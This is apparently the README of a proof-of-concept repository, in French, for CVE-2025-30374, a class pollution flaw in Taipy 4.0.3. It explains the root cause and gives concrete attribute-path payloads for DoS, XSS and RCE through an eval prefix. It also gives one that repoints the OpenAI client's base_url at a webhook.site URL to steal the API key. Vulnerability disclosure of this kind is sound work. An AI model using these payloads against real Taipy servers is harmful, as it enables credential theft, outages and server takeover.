
PoCs d'exploitation pour CVE-2025-30374, un bug de pollution de classe Taipy, démontrant RCE, XSS reflété, DoS et fuite d'identifiants OpenAI avec des scripts de reproduction basés sur Docker.
Une vulnérabilité de pollution de classe a été identifiée dans Taipy v4.0.3 (la version la plus récente au moment de la découverte). Cette vulnérabilité permet à des attaquants non autorisés d'écraser le contexte d'exécution côté serveur de Taipy, entraînant des conséquences graves telles qu'une RCE, un XSS réfléchi, un déni de service (DoS) et une fuite d'identifiants d'autorisation sensibles (par exemple, les jetons OpenAI).
Contexte
La pollution de classe (analogue à la pollution de prototype en JavaScript) est une vulnérabilité relativement récente en Python. Elle se produit lorsqu'un attaquant peut, de manière inattendue, écraser les variables globales d'un module ou les attributs de certaines classes et fonctions au moment de l'exécution. Ce problème est classé sous CWE-915.
Pour plus d'informations sur la pollution de classe, veuillez consulter :
[1] Class Pollution Wiki
[2] CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
Vulnérabilité de pollution de classe trouvée dans Taipy
La cause racine de cette vulnérabilité réside dans l'utilisation par Taipy d'une fonction set récursive pour mettre à jour les valeurs des variables dans les états de Taipy. Les paramètres name et value sont tous deux dérivés de l'entrée côté client et ne disposent pas d'une validation appropriée. Cela permet à un attaquant d'injecter des chemins d'attributs malveillants, tels que _TpN_tpec_TpExPr_value_TPMDL_2.__class__.__base__.set, afin d'écraser la méthode set de _TaipyBase.
Les fonctions suivantes sont invoquées dans plusieurs routes via _manage_message pour mettre à jour les états depuis le côté client :
# https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503ee480ac933f7e/taipy/gui/utils/_attributes.py#L37-L42
def _setscopeattr_drill(gui: "Gui", name: str, value: t.Any):
if gui._is_broadcasting():
for scope in gui._get_all_data_scopes().values():
_attrsetter(scope, name, value)
else:
_attrsetter(gui._get_data_scope(), name, value)
# https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503ee480ac933f7e/taipy/gui/utils/_attributes.py#L53-L58
def _attrsetter(obj: object, attr_str: str, value: object) -> None:
var_name_split = attr_str.split(sep=".")
for i in range(len(var_name_split) - 1):
sub_name = var_name_split[i]
obj = getattr(obj, sub_name)
setattr(obj, var_name_split[-1], value)
Mise en place
Tous les PoC ci-dessous ciblent l'application de chat de démonstration incluse dans ce dépôt (voir app/), qui est basée sur la démo officielle Taipy LLM Chat (https://github.com/Avaiga/demo-llm-chat) et épinglent Taipy 4.0.3 (la version au moment de la découverte). Construisez-la et exécutez-la avec Docker :
docker build -t taipy-cve-30374 app/
docker run -d -p 5003:5000 taipy-cve-30374 # served at http://127.0.0.1:5003
Les PoC de DoS, XSS et RCE n'ont pas besoin d'une clé OpenAI valide. Pour le PoC de fuite de jeton, démarrez l'application avec une clé réelle afin que la requête exfiltrée la transporte :
docker run -d -p 5003:5000 -e OPENAI_API_KEY=sk-... taipy-cve-30374
Exécutez ensuite le script correspondant depuis la racine du dépôt (par exemple python poc-dos.py). Installez d'abord les dépendances client avec pip install "python-socketio[client]" requests.
Conséquence 1 : DoS
Vidéo du PoC : https://drive.google.com/file/d/1BESvtyaJyEOp0BkeFdZFdwj83_E9wp18/view?usp=sharing
L'exploit complet se trouve ici : poc-dos.py
poc-dos.py écrase la méthode set de la classe partagée _TaipyBase avec un entier non appelable, en utilisant une variable de conteneur liée comme point d'entrée :
_TpD_tpec_TpExPr_conversation_TPMDL_2.__class__.__base__.set = 71
Comme chaque détenteur de valeur Taipy (_TaipyData, _TaipyLov, _TaipyLovValue, ...) dérive de _TaipyBase, le serveur lève alors TypeError: 'int' object is not callable lors de la (ré)évaluation de toute variable liée. Cela affecte toutes les sessions, pas seulement celle de l'attaquant, et dure jusqu'au redémarrage de l'application.
Conséquence 2 : Fuite de jeton OpenAI
Vidéo du PoC : https://drive.google.com/file/d/1uXiHpO-SzE1jhHzMRCTZo9CSOZHORTmT/view?usp=sharing
L'exploit complet se trouve ici : poc-token-exfil.py
L'application de démonstration conserve un openai.Client dans une variable globale de module (client) qui est liée à l'état Taipy et utilisée comme state.client.chat.completions.create(...). poc-token-exfil.py pollue client.base_url avec une URL contrôlée par l'attaquant :
client.base_url = https://webhook.site/<your-uuid>
Chaque requête de chat suivante, portant l'en-tête Authorization: Bearer <OPENAI_API_KEY> et la conversation complète, est ensuite redirigée vers le serveur contrôlé par l'attaquant, divulguant ainsi le jeton OpenAI.
Conséquence 3 : XSS

Dans la fonction suivante, lorsque l'application tente de restituer le contenu utilisateur, si le moteur de rendu approprié n'est pas trouvé, elle revient à retourner type(content).__name__ comme réponse HTML :
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L544
return (
'<div style="background:white;color:red;">'
+ (f"No valid provider for type {type(content).__name__}" if content else "Wrong context.")
+ "</div>"
)
Cependant, l'attribut __name__ d'un objet de classe peut être défini via la pollution de classe, par exemple tp_TpExPr_gui_get_adapted_lov_past_conversations_NoneType_TPMDL_2_0.__class__.__name__. Un attaquant peut écraser cet attribut avec une charge utile HTML ou JavaScript malveillante.
L'exploit complet se trouve ici : poc-xss-no-dot.py (fonctionne sur v4.0.3) et poc-xss.py (variante avec point "U", Taipy ≤ 4.0.2).
Conséquence 4 : RCE

Ensuite, nous montrons comment mener une attaque RCE.
La vulnérabilité de pollution de classe permet aux attaquants de définir des attributs arbitraires sur des objets présents dans l'état de session, qui ne contient pas beaucoup d'objets sensibles par défaut. Cependant, nous avons constaté que la route Gui.on_action peut être exploitée pour invoquer le gestionnaire Gui.table_on_edit, ce qui entraîne la liaison de nouveaux objets du module __main__ dans l'état de session. Dans la ligne suivante, un appel getattr sur l'objet d'état déclenche automatiquement l'opération de liaison, tandis qu'un setattr ultérieur réinitialise immédiatement la valeur liée à None :
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L1872
setattr(state, var_name, self._get_accessor().on_edit(getattr(state, var_name), payload))
Ce comportement crée une brève fenêtre de course où des références d'objets, telles que la classe Gui, existent temporairement dans l'état de session. Pendant cette fenêtre, les attaquants peuvent exploiter la pollution de classe pour écraser les attributs de ces objets.
Nous avons également découvert que l'attribut Gui.__SELF_VAR est utilisé comme préfixe lors de la construction d'expressions transmises à la fonction intégrée eval() de Python :
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L146
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L3011
__SELF_VAR = "__gui"
# ...
glob_ctx[Gui.__SELF_VAR] = self
En écrasant la valeur de __SELF_VAR via la pollution de classe, un attaquant peut contrôler l'expression évaluée, ce qui mène finalement à une exécution de code arbitraire sur le serveur.
L'exploit complet se trouve ici : poc-rce-no-dot.py (fonctionne sur v4.0.3) et poc-rce.py (variante avec point "U", Taipy ≤ 4.0.2). Les deux scripts lient l'objet Gui dans l'état de session via la route on_action appelant table_on_edit, puis mettent en concurrence l'écriture de pollution de classe avec cette liaison, si bien qu'ils peuvent nécessiter plusieurs tentatives pour aboutir.
Tout utilisateur de Taipy peut exploiter cette vulnérabilité pour lancer une RCE, un XSS réfléchi, un déni de service (DoS) et une fuite d'identifiants d'autorisation sensibles (par exemple, les jetons OpenAI).